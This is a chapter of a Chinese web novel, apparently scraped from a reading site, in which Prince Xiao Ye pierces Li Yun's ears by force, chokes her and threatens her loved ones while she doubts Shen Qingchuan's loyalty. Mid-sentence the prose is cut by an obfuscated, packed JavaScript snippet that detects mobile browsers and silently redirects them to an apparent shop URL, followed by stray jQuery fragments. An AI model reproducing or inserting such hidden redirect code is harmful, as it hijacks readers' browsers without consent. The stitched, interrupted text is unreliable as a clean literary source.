28. 第 28 章

作品:《病公子攻略手册

    李蕴忽然想起沈青川曾问她要不要吃糖。


    琉璃糖折射出的光照在沈青川白净的脸上,她当时只觉的好看,却从未想过那笑脸下或许隐藏着危险。


    沈青川知道糖里有毒吗?


    既然他能知道周妈未登记入库,是否同样也能知道有人在糖罐里下了毒?


    他要她取的究竟是糖,还是她的命?


    周方仪想来不知此事,才会傻傻献糖给孟府。


    沈青川呢?如果他知道,如果当初她接过了糖,他会制止还是任由她吃下,既除掉讨人厌的便宜妻,又恰好让周方仪担下罪责,一石二鸟,一连除掉两个心头刺。


    不,她够不上格当沈青川的心头刺。无论到了哪里,她都只是一枚棋子。在李崇与萧烨那,她是恰好合适的细作。在沈青川那,她是送上门的牺牲品。


    那些亲昵,那些依赖,分明全是她的伎俩,分明每一套她都再熟悉不过,怎么还是被骗过,怎么还是一次又一次地迷失。


    李蕴啊李蕴,不要再被骗了,不要再当傻子了,戏才演了多久,便分不清话本与现实了。除了遇见菀儿,她此生可曾再幸运过。


    分辨不出真假的,一律当做假。


    别再忘记。


    李蕴温婉一笑,眼中并无落寞:“我明白了。谢殿下告知。”


    “本王话还没说完,你明白什么。”萧烨很满意李蕴的反应,看来沈青川在她心中的地位也不过如此。只是李蕴太会演,届时入了晋王府,他可要仔细分辨分辨她的每句话。


    “库房里的丫鬟和小子都道你没取过糖,陈前见册子上无记录,便赏了指认你的婢女和嬷嬷各十五大板,赶出相府。至于毒药,你猜哪来的?”


    “哪儿?”李蕴顺着他的话问,觉得自己在哄一条狗。


    萧烨慢悠悠道:“周氏的梳妆匣,装胭脂的盒盖上。”


    “真是她?”李蕴不信。


    “无论是不是她,结局已定。”萧烨走到黄梨木梳妆匣边。黄铜镜磨得发亮,映照出他的身影,以及身后端庄安静的李蕴。铜镜外一圈是灵逸动人的九天仙女,缠绕云彩的水袖垂落在镶嵌彩贝花钿的抽格旁。抽开一屉,重紫色软布裹着六枝珠钗,他一眼相中最抢眼的那枝海棠红。


    “孟小公子死于心疾。周氏有心害人,虽未得逞亦要受罚。然念先宰相碧血丹心国尔忘家,故免去周氏牢狱之罪,罚其善佛寺礼佛半载,以正其心。”


    萧烨回到李蕴身边坐下,手中多了一枝海棠红垂丝金珠钗。他摊开另一只手,覆满薄茧的掌心中央是一对碧石耳坠。


    “在想什么?”


    垂在脸侧的黑发被撩起放到耳后,萧烨的手指不老实地顺耳阔滑到耳垂。李蕴一激灵,胳膊与后背上的汗毛竖起,她强压下躲闪的本能,温声言:“陈大人办事周全,令人咂舌。”


    萧烨捻着柔软窄小的耳垂,没找见耳洞。


    “能稳坐侍郎之位十余载,自然有点本事。但他这辈子,也就当当侍郎了。”


    耳垂忽传来尖锐的刺痛,李蕴一颤,只觉多了点重量向下拉扯她的右耳。萧烨松开手,她转头去看,肩上的透明薄纱多了一滴血红。如果此刻她坐在梳妆镜前,应当能看见碧石耳坠下一串断断续续的血链。


    萧烨扳过她的脸,相同的刺痛再次传来。李蕴咬紧唇,铁锈味在口腔中弥漫,她忍住颤抖,硬是没吭一声。


    萧烨反复端详,仿佛李蕴的头颅是他最满意的杰作。他擦拭净指尖血,很不熟练地用珠钗为李蕴挽了一个松垮的发髻。


    “谢殿下。既然案件已结,我是不是可以回相府了。”


    李蕴不是在询问,而是陈述一个事实。但事实是否成立,需由萧烨裁断。


    “急着见他?”


    “见谁?”李蕴装傻。


    流连在李蕴颈侧的手捧起她的脸,向下滑卡住喉咙,一寸寸往里收紧。他像紫金巨蟒般优雅而缓慢地绞杀猎物,让李蕴连呼吸都成为奢望。


    没发病时的萧烨比发病时还要可怖。


    李蕴仰起雪白的脖颈,暴露脆弱的喉管。乌黑漆亮的眼珠清晰映出萧烨冷漠的神情,她的脸涨红,落在萧烨眼中却像极速染色盛放的海棠花,令人痴迷。


    桌布被拽到地上,木壶里的液体倾泻交汇,顺桌沿滴滴答答滴落在地,仿佛李蕴生命的倒计时。


    她手失去着力点,耳坠依旧在撕扯她的皮肉。她向后仰,企图摔到地上以脱离那只骨节分明的手的桎梏。


    冰冷的眼底浮起一丝笑,掐在脖子上的手愈发使力,李蕴徒劳地干呕,手痛苦地扒上华贵衣袍,圆润的指甲划出一道道白痕却换不来一丝空气。


    萧烨全然没有停下的意味。


    李蕴不明白短短几个瞬间他怎么就又发了狂,难道是因为她的反问叫他觉得被轻蔑被戏弄?分明是他准许的……


    她决不能死在这儿……这个疯子,就算出门便被乱箭射死,她也决不能死在他之前!


    濒临窒息的前一瞬,李蕴拔出发间珠钗,甩向混沌眼中唯一裸露的白。


    珠琏相撞,清脆动听,正如涌入肺中的气体般清快爽利。钳在喉咙的压力消失,珠钗落在皱成团的桌布上,悄无声息。


    她大口喘息着,看向萧烨的眼神不再温良。


    或者说,她终于舍得撕下用于遮掩的温良,露出深藏其后的厌与恨。


    萧烨拾起珠钗,吹了吹不存在的灰。


    李蕴向后退,单薄的背抵上坚硬的木桌沿。新换的衣裳内没有她原来的簪子,她警惕地盯着萧烨,手盲抓起一个木杯握回到身前。


    “殿下要做什么?昨晚才谈好合作,今日便要杀。倘若如此,殿下何不直接送我去官府择日问斩,大费周章陪我玩到现在,岂不累也?”


    萧烨拎着珠钗笑了笑,倾身靠近,仿佛危险步步紧逼。李蕴忍无可忍,举起木杯狠砸向他的额角,速度又快又急,力道之狠准令萧烨也不由惊讶。


    她可真是不留一点余地。


    然而这对在战场上厮杀过数载的人来说,不过儿戏,比捏碎一朵花还来得容易。


    “李姑娘也不遑多让。”


    武器被夺,双手皆被反扣到胸前,李蕴动弹不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103116|195762||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得,已然沦为待宰鱼肉。她负气咬紧牙,闭眼等待珠钗穿透她的脖颈。当然,还为了掩饰发红的眼眶。


    早知如此,昨晚萧烨发病时她就刺死他了。


    就算死了,至少死在晋王府,化成鬼寻仇省去不少脚程,早些拖萧烨下地狱,早些清算完其他一笔笔账,早些投胎……算了,还是不投胎了,做人好累,谁知道能不能投个好胎,别又是悲苦的开端,悲苦的过程,悲苦的结局。


    何况她活着没积多少德,死后还要化为厉鬼索命,不被道士在报完仇前用桃木剑杀个魂飞魄散已是幸运,怎么还有脸期待来生幸福。


    只是可惜,她没能见菀儿和母亲,没能如愿……过完在南清院的最后一段时光。


    话说回来,如果她真化成鬼魂,除了杀人,是不是还能飘去任何她想去的地方,见任何她想见的人。


    不用想,菀儿定会哭个稀里哗啦。她得好好抱抱她安慰她,告诉菀儿她一直在。她会每晚随月光拥抱她,坐在她床边伴她入睡,像过去的每个夜晚一样。只是她看不见,无办法回拥而已。


    母亲呢?希望没人告诉她,或者她恰好在疯病中,听过就忘。让她以为自己的女儿还安安稳稳地当着大少奶奶。


    至于沈青川,她得守着他,看他究竟会不会掉眼泪。看他……究竟有没有骗她。反正都成鬼了,还藏着掖着干什么,到时候她日日纠缠,叫他不得安眠不得安生,好好报了当初吓她之仇。


    也免得他孤单。


    然而压在身上的阴影褪去,预想中的冰冷尖锐没有抵上她的脖颈,萧烨松开了压制李蕴的手,李蕴疑惑而警惕地睁开眼,迅速溜到圆桌的另一端。


    他怎么突然又变卦?


    李蕴信手抄起一白釉莲鱼瓶,沉甸甸的,比方才的小木杯有威慑力得多。


    短短数秒,死后化鬼的想法就被李蕴抛之脑后。


    白皙的手腕被攥红,石榴色的裙摆有一大片深色果酒污渍,肩头耳垂血迹斑斑,凌乱的黑发被身后风吹起,她像堕入凡间受尽蹂躏的仙子,又如同逃离炼狱的惑人妖女。


    萧烨看见她眼中火焰,炽热而蓬勃,与他如此相像,却离他如此遥远。


    “本王讨厌撒谎。”他丢掉珠钗示好。


    “这次只是叫你一会儿说不出话,下回是多久本王不知道,但本王心疼你。你不怕死,自有人来替你。李莞,王月,还是沈青川?若你再犯,谁先来替你呢?”


    如他所愿,李蕴沉默地放下白釉瓶。萧烨信步走来,捧起她的脸。


    原来人的温度可以这样叫人生厌。


    李蕴笑,仿佛刚刚发生的一切只是再平常不过的小插曲。她仰起脸道:“殿下,换了衣裳,袖中竹筒也不见了。”


    萧烨喜她的聪明善变,冰冷得像只永远养不熟的野猫。


    “旧的已经丢了,这件也不能再穿。竹筒在本王这儿,换好新衣裳来找本王。”


    “记得簪本王选的钗。”青丝被萧烨尽数拢到胸前,萧烨捻起一缕送到唇边,凤眼似钩子般挂在李蕴脸上。


    “别让本王久等。”